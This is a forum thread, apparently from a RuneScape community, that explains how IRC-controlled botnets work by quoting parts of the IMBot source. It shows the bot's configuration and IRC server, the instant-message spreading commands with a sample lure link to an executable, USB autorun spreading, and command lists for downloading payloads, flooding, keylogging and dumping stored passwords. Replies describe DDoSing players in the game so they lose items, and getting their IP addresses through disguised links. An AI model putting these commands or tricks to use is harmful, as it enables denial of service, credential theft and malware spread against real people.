[EDUCATIONAL ONLY] What is this DDoSing Stuff?

Okay, I have seen many people posting on DDoS Videos: "What is DDoS?".

I'd first off like to say that this will not teach you how to DDoS, rather, it will tell you how the bots work an operate. In this simple thread, I will use the IMBot Source, as it is what most of the sKiddies on RuneScape use (l0l, they think they so pro omg.)

Now, DDoS vs DoS.

DDoS being Distrubuted Denial of Service, and DoS being Denial of Service, you can tell that DDoS is more powerful than any DoS attack. In short, DDoS and DoS attacks disconnect your target from the internet. (It has been used in RuneScape by some nubz like Taco Limey, and Arrowsupurass... along with the most famous (and dangerous) one, Elvy666. In a DoS attack, you use a program (COMMAND PROMPT NO LONGER WORKS!!!) to send an excessive amount of packets (data) to a victim computer, which lags them so badly, their internet goes SUPER SUPER SUPER SUPER SUPER SUPER SUPER SUPER SUPER SUPER SUPER (1000000x more SUPERS) SLOW... so most things ping out... which is why it is not technically 'disconnected', rather, slowed down, to like .000000000000000001kb a second.​

DDoS attacks are executed by a master (botnet owner) via mIRC. The master uses the mIRC to command the bots. Bots are zombies. They just idle, waiting for a command. There is no way to tell if your computer is on a botnet (unless you really know what you are doing.) I am going to explain how these botnets work. Well... try too atleast, as they get seriously complexed.

Here is how people get infected... the following is taken from the IMBot Source:

Code:

const char cmd_imspread_1[]	= "msn.msg";
const char cmd_imspread_2[]	= "msn.stop";
const char cmd_aimspread_1[]    = "aim.msg";
const char cmd_aimspread_2[]    = "aim.stop";
const char cmd_timspread_1[]    = "triton.msg";
const char cmd_timspread_2[]    = "triton.stop";

If i were to execute:

Code:

msn.msg OMFG LOOK GUYS! ITS MEGAN FOX NAKED!!! http://mywebsite.com/somevirus.jpg.exe

Will send a message to all the people on the infected computer's MSN list,that says that, which if the people click the link... they get infected. That is why if someone randomly sends u a message like click this omg "link here" ... you dont click it... idiots...

Now, say I have 100 bots... each one of those 100 bots have 100 people on their list... that is 10,000 people, that just got that message... which is why botnets can get so big... so quick... Statistics show that 60-70% of computers in the world (mostly home computers... if you can get a library of school infected, thats amazing... ill say why in the next thread.) Now that you know how most botnets spread, I might as well tell you the most COMMON way... It's called: USB Spreading.

USB Spreading is how most people get infected... say your computer is infected, and you plug a thumb drive into it... that Thumb drive is now infected... as well as your computer...

Say Bob's computer is infected, and he takes some music to phil with a thumb drive, Bob's computer, his thumb drive, and Phil's computer is now infected. Anyone else to plug something into phil or bob's computer now gets infected... its like a web affect.

Enough about spreading... this is how they work.

Code:

char gotopth[]			= "%windir%";
char exename[]			= "runescape.exe";
char password[]			= "";
char authhost1[]		= "*!*@Swift-E51C0AA6.cfl.res.rr.com";
char *authost[] 		= { authhost1 };
char szRegname[]	    	= "Windows Services";
char USB_STR_FILENAME[]		= "autorunme.exe";
char USB_CHANNEL[]		= "#test";	// USB Chan
char pstore_chan[]		= "#test";	// PSTORE Chan

SERVER sinfo[]={
		{
		"irc.swiftirc.net","",6667,"#odL30xm29s","","-i","-i","#odL30xm29s",
		},
	};

gotopth[] = "%windir%; saves "runescape.exe" (botnet file) to: c:\WINDOWS\.

authhost1[] = "*!*@Swift-E51C0AA6.cfl.res.rr.com"; tell's it who to listen to. (an anti theft mechanism)... as you can tell this was made for a botnet hosted on swiftIRC.

The pstore_chan[] = the channel for thebots to send all information the owner of the zombie computer types... (yes if you are on a botnet, you are keylogged... but normally the botnet is soo big, the master never see's your data).

The server info tell it the IRC server to join, and the channel, along with the modes to set. If mode -x was told to be set (on swift irc) everyone can see the bot's IP address.

some more basic commands...

Code:

.dl(new) = downloads a file to the infected persons compuuter.
.updat0r = updates the bots to that file.

.ddos.ack = ack attack.
.ddos.syn = syn flood attack.
.ddos.random = some bots do syn, some do ack.
.ddos.supersyn = most powerful flood u can do.

.login = loginto bot (so they listen to u, overides the authost).
.visit = makes the bot visit the site (good if u have a site where u get payed per visitor.)

.pstore = dumps all usernames \ passwords into the current channel. (after the dump, they are deleted). 
.pstore.search = searches for all passwords and dumps if they match. (pstore.search brazzers.com = will say all the brazzers pass)

as those are not ALL the commands, those are some decent ones .

now:

IN VERY VERY VERY SHORT:

Master controls zombies.
zombies listen to master
if master types ".ddos.supersyn 24.28.193.9 4173 600" ... rsbot.org goes offline for 10 mins.

Programs to get to help u not get infected: WinPatrol, MalwareBytes, AVG Free.

Hope this helped...

**note that channel in the bot WAS a real botnet... 4k bots... noob remy glined them all.. **

 

Very nice helped me learn a lot. One question, for some reason when I download from certain sites (no not porn sites or anything) my internet disconnects, it happens on all computers, do you think this may be a cause of DDoS/DoS?

Can a router get infected with it cause if so my moms computer got loaded with virus's, and trojan's so that may have been the problem.

 

Depends with what you are downloading... if it is illegal materials, it may be the government... but say you are playing RuneScape, or steaming music, and suddntly u see a lag spike... for no reason... chances are, you computer was just used to ddos someone.

 

Oh, so say i was standing in the wildy with just my runescape client open i cant be ddos'd?

 

If someone has your IP address, they can.

 

No not illegal stuff, its just specific hosting sites like megaupload, filefront. Rapidshare works fine tho.

 

Why not explain the types of attacks.

 

He did >.>

 

Theirs TCP and other types of flooding

 

Oh lol, I thought you meant the difference between DDoS and DoS.

I think he just meant to cover the basics.

 

not really a point. seeing as UDP floods are used only for DoSing, it is possible to do a DDoS with a UDP flood, but there is no point =/...

Syn, supersyn, and ack are all tcp :S

 

please ask all ddosing questions here, I will answer them, stop making new threads...

 

A question, do people use this to their advantage during things such as gaming? Let's say you control a botnet, and your pk'ing in the runescape wilderness. You HAVE another players Ip address, and then when you engage in a battle with them, you DDOS or DOS them, causing them to lag, and then giving you the upper hand as they cannot eat or run....
Just a quick thought though, I'm not exactly skilled in the art of coding and extreme programming haha...

 

That is exactly what people do lol. They also use it to disconnect people at Arma and bandos... so they lose items. l0l ;D

 

Crafty Buggers! Haha :laugh:

How would they manage to obtain random individual characters IP addresses though?

 

I used to own imageshack**** (dot tk) I upload an image to imageshack.us, and change us to tk ... give them the link, they click it, and i get their IP.

other methods include:

-making people type /server server
-joiinign a ventrilo.

etc.

 

How come you are on Msn but never answer me?I've been trying to IM you for the last 2 days ;>>

 

Wow man , you re a real pro, very good guide , i feel less narb in ddos now.
But used in rs , ddos is more a hassle than benefits.
Can you tell me what are the most attacked sites?
Also, why JaGex , dont ddos sythe, as its their ennemy?

 

Wow, nice , Jethr0x = Pro , lol Jethr0x, fancy adding my msn and then can you teach me some more about DDoS/DoS, as im intrested, Educationaly Only like.

Thanks, Msn : *Ill pm you it.

 

thank you so much! i thought ddos'ing had somthing too do with dragon daggers lol!